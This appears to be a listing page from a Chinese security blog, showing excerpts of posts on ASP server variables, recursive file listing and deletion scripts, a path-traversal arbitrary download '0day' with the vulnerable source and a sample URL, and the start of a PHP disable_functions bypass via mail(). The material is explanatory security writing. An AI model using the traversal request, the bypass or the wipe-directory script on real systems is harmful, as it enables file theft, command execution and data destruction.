ASP获取客户端、服务器相关信息: Request.ServerVariables("NUMBER_OF_PROCESSORS") CPU 数量 Request.ServerVariables("OS") 操作系统 Request.ServerVariables("Url") 返回服务器地址 Request.ServerVariables("Path_Info") 客户端提供的路径信息 Request.ServerVariables("Appl_Physical_Path") 与应用程序元数据库路径相应的物理路径 Request.ServerVariables("Path_Translated") 通过由虚拟至物理的映射后得到的路径 Request.ServerVariables("Script_Name") 执行脚本的名称 Request.ServerVariables("Query_String") 查询字符串內容 Request.ServerVariables("Http_Referer") 请求的字符串內容 Request.ServerVariables("Server_Port") 接受请求的服务器端口号 Request.ServerVariables("Remote_Addr") 发出请求的远程主机的IP地址 Request.ServerVariables("Remote_Host") 发出请求的远程主机名称 Request.ServerVariables("Local_Addr") 返回接受请求的服务器地址 Request.ServerVariables("Http_Host") 返回服务器地址 Request.ServerVariables("Server_Name") 服务器的主机名、DNS地址或IP地址 Request.ServerVariables("Request_Method") 提出请求的方法比如GET、HEAD、POST等等 Request.ServerVariables("Server_Port_Secure") 如果接受请求的服务器端口为安全端口时,则为1,否则为0 Request.ServerVariables("Server_Protocol") 服务器使用的协议的名称和版本 Request.ServerVariables("Server_Software") 应答请求并运行网关的服务器软件的名称和版本 Request.ServerVariables("All_Http") 客户端发送的所有HTTP标头,前缀HTTP_ Request.ServerVariables("All_Raw") 客户端发送的所有HTTP标头,其结果和客户端发送时一样,没有前缀HTTP_ Request.ServerVariables("Appl_MD_Path") 应用程序的元数据库路径 Request.ServerVariables("Content_Length") 客户端发出內容的长度 Request.ServerVariables("Https") 如果请求穿过安全通道(SSL),则返回ON如果请求来自非安全通道,则返回OFF Request.ServerVariables("Instance_ID") IIS实例的ID号 Request.ServerVariables("Instance_Meta_Path") 响应请求的IIS实例的元数据库路径 Request.ServerVariables("Http_Accept_Encoding") 返回內容如:gzip,deflate Request.ServerVariables("Http_Accept_Language") 返回內容如:en-us Request.ServerVariables("Http_Connection") 返回內容:Keep-Alive Request.ServerVariables("Http_Cookie") Cookie Request.ServerVariables("Http_User_Agent") 返回內容:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1) Request.ServerVariables("Https_Keysize") 安全套接字层连接关键字的位数,如128 Request.ServerVariables("Https_Secretkeysize") 服务器验证私人关键字的位数如1024 Request.ServerVariables("Https_Server_Issuer") 服务器证书的发行者字段 Request.ServerVariables("Https_Server_Subject") 服务器证书的主题字段 Request.ServerVariables("Auth_Password") 当使用基本验证模式时,客户在密码对话框中输入的密码 Request.ServerVariables("Auth_Type") 是用户访问受保护的脚本时,服务器用於检验用户的验证方法 Request.ServerVariables("Auth_User") 代证的用户名 Request.ServerVariables("Cert_Cookie") 唯一的客户证书ID号 Request.ServerVariables("Cert_Flag") 客户证书标誌,如有客户端证书,则bit0为0如果客户端证书验证无效,bit1被设置为1 Request.ServerVariables("Cert_Issuer") 用户证书中的发行者字段 Request.ServerVariables("Cert_Keysize") 安全套接字层连接关键字的位数,如128 Request.ServerVariables("Cert_Secretkeysize") 服务器验证私人关键字的位数如1024 Request.ServerVariables("Cert_Serialnumber") 客户证书的序列号字段 Request.ServerVariables("Cert_Server_Issuer") 服务器证书的发行者字段 Request.ServerVariables("Cert_Server_Subject") 服务器证书的主题字段 Request.ServerVariables("Cert_Subject") 客户端证书的主题字段 Request.ServerVariables("Content_Type") 客户发送的form內容或HTTPPUT的数据类型 留言评论(旧系统): 佚名...
阅读全文
【ASP】递归搜索目录下所有文件,包括子目录 lcx

【ASP】递归搜索目录下所有文件,包括子目录

ASP递归搜索目录下所有文件,包括子目录: 'On Error Resume Next Function BianLi(Path) '遍历递归搜索所有文件 Dim Fso,ObjFolder,ObjFile 'Fso对象,子目录对象,文件对象 Set Fso=Server.CreateObject("scripting.filesystemObject") '创建FSO读写对象 For Each ObjFile in Fso.GetFolder(Path).Files '读取当前目录下的文件     Response.Write Path & "" & ObjFile.Name & " - Size:" & ObjFile.Size & " Bytes" & Vbcrlf Next For Each ObjFolder In Fso.GetFolder(Path).SubFolders '读取子目录     BianLi(Path & "" & ObjFolder.Name) '调用递归搜索子目录完整路径 Next End Function BianLi(Server.MapPath(".")) '调用遍历函数 %> 文章来源于lcx.cc:【ASP】递归搜索目录下所有文件,包括子目录相关推荐: 360秘密收集用户信息日志文件大规模外泄    360记录的大量用户信息的日志文件大规模外泄,金山网络称360秘密收集用户信息并且遭外泄。     北京时间12月31日消息 当天,2010年12月31日,2010年的最后一天,金山网络召开紧急发布会,曝出中国有史以来最大的隐私泄露事件,与此同时,金山…
阅读全文
【ASP】递归清空目录下所有文件和子目录 lcx

【ASP】递归清空目录下所有文件和子目录

可能删不干净版: 'On Error Resume Next ClearFile Server.MapPath("") '清空当前目录除自身外所有文件 Function ClearFile(Path) '清空目录所有文件 Dim Fso,ObjFolder,ObjFile 'Fso对象,子目录对象,文件对象 Set Fso=Server.CreateObject("scripting.filesystemObject") '创建FSO读写对象 For Each ObjFile in Fso.GetFolder(Path).Files '读取当前目录下的文件     Response.Write "文件:" & Path & "" & ObjFile.Name & " --> 删除成功! "     'If Replace (Lcase(Path & "" & ObjFile.Name),"","") Lcase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) Then     Fso.DeleteFile Path & "" & ObjFile.Name Next For Each ObjFolder In Fso.GetFolder(Path).SubFolders '读取子目录     Response.Write "目录:" & Path & "" & ObjFolder.Name & " --> 删除成功! "     Fso.DeleteFolder Path & "" & ObjFolder.Name,true Next Response.Write "目录:" & Path & " 清空完毕。完成时间:" & Now() & "" End Function %> 可以完全清理版: 'On Error...
阅读全文
【0day】英雄宽频 WEB 站任意下载漏洞 lcx

【0day】英雄宽频 WEB 站任意下载漏洞

    无意看到的,下载播放器时弹出的地址,http://10.0.2.100/web/html/download.asp?file=../../herotemp/jtplayer.exe,来看看download.asp的源码。 download.asp: Dim path path=Request.QueryString("file") If path"" Then On Error Resume Next path=Server.MapPath(path) downloadfile(path) End If function downloadfile(fullpath) downloadfile = false dim strfilename, s, fso, f, intfilelength set fso = server.createobject("scripting.filesystemobject") if not fso.fileexists(fullpath) Then response.write "对不起,该文件不存在" response.end exit function end if set f = fso.getfile(fullpath) ' 获取文件大小 intfilelength = f.size set s = server.createobject("adodb.stream") s.open s.type = 1 s.loadfromfile(fullpath) response.buffer = true response.clear 'response.addheader "content-type","application/x-msdownload" response.addheader "content-disposition","attachment;filename=" & f.name response.addheader "content-length" ,intfilelength response.contenttype = "application/octet-stream" while not s.eos response.binarywrite s.read(1024 * 64) response.flush wend s.close set s = nothing downloadfile = true end function %>     直接: path=Server.MapPath(path)...
阅读全文
PHP Execute Command Bypass Disable_functions lcx

PHP Execute Command Bypass Disable_functions

PHP Execute Command Bypass Disable_functions phith0n (我也不会难过 你不要小看我) | 2014-11-18 14:09 先简单说一下php调用mail()函数的过程。 看到源码ext/mail.c 236行: char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; 从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的: ; For Unix only. You may supply arguments as well (default: "sendmail -t -i"). ;sendmail_path = 注释中可以看到,send_mail默认值为"sendmail -t -i". extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。 如下: if (!sendmail_path) { #if (defined PHP_WIN32 || defined NETWARE) /* handle old style win smtp sending */ if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) { if (tsm_errmsg) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg); efree(tsm_errmsg); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err)); } MAIL_RET(0); } MAIL_RET(1); #else...
阅读全文